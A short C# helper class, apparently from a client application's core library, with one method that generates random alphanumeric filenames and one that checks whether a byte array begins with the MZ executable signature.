using System;
using System.Text;

namespace xClient.Core.Helper
{
    public static class FileHelper
    {
        private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        private static readonly Random _rnd = new Random(Environment.TickCount);

        public static string GetRandomFilename(int length, string extension = "")
        {
            StringBuilder randomName = new StringBuilder(length);
            for (int i = 0; i < length; i++)
                randomName.Append(CHARS[_rnd.Next(CHARS.Length)]);

            return string.Concat(randomName.ToString(), extension);
        }

        public static bool IsValidExecuteableFile(byte[] block)
        {
            if (block.Length < 2) return false;
            return (block[0] == 'M' && block[1] == 'Z') || (block[0] == 'Z' && block[1] == 'M');
        }
    }
}